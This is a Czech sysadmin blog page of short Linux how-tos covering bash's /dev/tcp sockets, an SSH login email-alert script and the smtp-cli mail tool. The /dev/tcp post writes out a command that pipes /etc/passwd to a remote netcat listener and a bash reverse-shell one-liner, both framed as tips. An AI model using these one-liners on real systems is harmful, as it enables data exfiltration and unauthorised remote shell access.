Linux mini-howto? Krátce o nástrojích ze života sysadmina.
Důvod proč blokovat přístup ke službám ze sítě Tor je na Vašem rozhodnutí a není předmětem tohoto článku.
Tor je anonymizační nástroj (software) maskující skutečný pohyb uživatele po internetové síti, ukrývající skutečnou IP adresu případně další informace, které mohou umožnit jeho sledování.
Pokračování textu Linux mini-howto: Blokujeme TOR EXIT nodes
Linux mini-howto? Krátce o nástrojích ze života sysadmina.
Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.
havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80 havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5 havel@havel-machine:~$ cat <&5 | head -n 10 HTTP/1.1 200 OK Server: nginx/1.2.1 Date: Tue, 01 Sep 2015 14:41:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding, Cookie Cache-Control: max-age=3, must-revalidate WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13 57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) *
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888 # Pošlete si co potřebujete k sobě havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888
# Reverse shell # Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888 havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1 # havel@havel-machine:~$ pwd pwd /home/havel
Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).
Užívejte moudře a opatrně, díky za pozornost.
František Havel, MOJEservery.cz
Linux mini-howto? Krátce o nástrojích ze života sysadmina.
Krátké a jednoduché, chcete info(oznámení) do emailu po přihlášení uživatele na SSH server? Jednoduchý script ukazuje jak na to, nejde o náhradu za komplexní systémy s logování na centrání vzdálený server, ale pro malé použití a případně další čarování s sshrc se může hodit.
Napsán pro Vás jednoduchý ukázkový script v bashi, použijte ho, upravujte dle potřeby.
mail=alertemail@mojeservery.cz user=/usr/bin/whoamiip=/usr/bin/last | head -1 | awk '{print $3}'#read -d " " ip <<< $SSH_CONNECTION date=$(date "+%d.%m.%Y %Hh%M") reverseIP=$(dig -x $ip +short) hostname=$(hostname) mail -s "SSH Login: $USER@$hostname" $mail <<EOF From: root@$hostname User: $USER Host: $hostname From IP: $ip Reverse: $reverseIP Date: $date EOF
A to je vše! (! script opravdu není uvozen #!/bin/bash )
Na serveru musí být v provozu mail subsystém, alespoň jako stmp relay, tak aby email mohl odejít, navíc může být zpracování sshrc potlačeno konfigurací (ForceCommand, ssh -N apod.).
Užívejte moudře, mějte přehled o přístupech na Váš SSH server.
Díky za pozornost. František Havel, MOJEservery.cz
Hledáte řádkově orientovaný, jednoduchý a přitom schopný nástroj pro odesílání emailů z Vašich skriptů?
Zkuste smtp-cli, autorem je tuzemský vývojář Michal Ludvig (logix).
SMTP-CLI (smtp-client, smtp-command line interface) je smtp klient/nástroj napsaný v jazyce Perl (jeden samostatný soubor, ~ 30kb) s podporou pro:
Instalaci,popis nasazení, ukázky nejlépe popisují přímo stránky smtp-cli a github.
http://www.logix.cz/michal/devel/smtp-cli/ https://github.com/mludvig/smtp-cli Podpořte autora skrz Paypal.
Dnes to bylo rychlé, díky za Váš čas. František Havel
